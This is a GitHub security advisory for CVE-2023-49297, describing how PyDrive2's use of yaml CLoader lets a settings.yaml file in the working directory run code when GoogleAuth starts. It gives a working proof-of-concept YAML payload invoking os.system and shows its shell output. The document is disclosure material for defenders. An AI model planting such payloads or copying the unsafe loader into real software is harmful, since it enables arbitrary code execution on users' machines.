GHSA-V5F6-HJMF-9MC5
Vulnerability from github – Published: 2023-12-05 23:43 – Updated: 2024-11-22 20:20Summary
Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile.
Details
The loader being imported from the yaml library is CLoader: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L5
This loader is then used to load a user supplied file: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L108-L121
CLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur.
https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L9
Reference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
PoC
- Create a malicious
settings.yamlfile:
!!python/object/new:os.system [echo poc]
- Initialize a
GoogleAuthobject .
from pydrive2.auth import GoogleAuth
gauth = GoogleAuth()
- Execute the code with the settings file present in your directory. The code inside the file will be executed:
[evan@ejedev PyDrive2]$ ls
CHANGES client_secrets.json CONTRIBUTING.rst docs examples LICENSE main.py MANIFEST.in pydrive2 pyproject.toml pytest.ini README.rst settings.yaml setup.py tox.ini
[evan@ejedev PyDrive2]$ cat settings.yaml
!!python/object/new:os.system [echo poc]
[evan@ejedev PyDrive2]$ cat main.py
from pydrive2.auth import GoogleAuth
gauth = GoogleAuth()
[evan@ejedev PyDrive2]$ python3 main.py
poc
Alternatively, the file can be loaded in directly via pydrive2.settings.LoadSettingsFile
Impact
This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml file is present in the same directory. As it does not require it to be directly loaded through the code, only present, I believe this produces an extra element of risk.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PyDrive2"
},
"versions": [
"1.17.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "PyDrive2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.16.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-49297"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-05T23:43:07Z",
"nvd_published_at": "2023-12-05T21:15:07Z",
"severity": "LOW"
},
"details": "### Summary\nUnsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via `LoadSettingsFile`.\n\n### Details\nThe loader being imported from the `yaml` library is `CLoader`: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L5\n\nThis loader is then used to load a user supplied file: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L108-L121\n\nCLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur.\n\nhttps://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L9\n\nReference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf\n\n### PoC\n1. Create a malicious `settings.yaml` file:\n\n```yaml\n!!python/object/new:os.system [echo poc]\n```\n2. Initialize a `GoogleAuth` object .\n```python\nfrom pydrive2.auth import GoogleAuth\n\ngauth = GoogleAuth()\n```\n3. Execute the code with the settings file present in your directory. The code inside the file will be executed:\n```\n[evan@ejedev PyDrive2]$ ls\nCHANGES client_secrets.json CONTRIBUTING.rst docs examples LICENSE main.py MANIFEST.in pydrive2 pyproject.toml pytest.ini README.rst settings.yaml setup.py tox.ini\n[evan@ejedev PyDrive2]$ cat settings.yaml\n!!python/object/new:os.system [echo poc]\n[evan@ejedev PyDrive2]$ cat main.py \nfrom pydrive2.auth import GoogleAuth\n\n\ngauth = GoogleAuth()\n[evan@ejedev PyDrive2]$ python3 main.py \npoc\n```\nAlternatively, the file can be loaded in directly via `pydrive2.settings.LoadSettingsFile` \n\n### Impact\nThis is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious `yaml` file is present in the same directory. As it does not require it to be directly loaded through the code, only present, I believe this produces an extra element of risk. ",
"id": "GHSA-v5f6-hjmf-9mc5",
"modified": "2024-11-22T20:20:57Z",
"published": "2023-12-05T23:43:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/iterative/PyDrive2/security/advisories/GHSA-v5f6-hjmf-9mc5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49297"
},
{
"type": "WEB",
"url": "https://github.com/iterative/PyDrive2/commit/c57355dc2033ad90b7050d681b2c3ba548ff0004"
},
{
"type": "PACKAGE",
"url": "https://github.com/iterative/PyDrive2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pydrive2/PYSEC-2023-291.yaml"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CYR5SJKOFSSXFV3E3D2SLXBUBA5WMJJG"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/K34YWTDKBAYWZPOAKBYDM72WIFL5CAYW"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PyDrive2\u0027s unsafe YAML deserialization in LoadSettingsFile allows arbitrary code execution"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.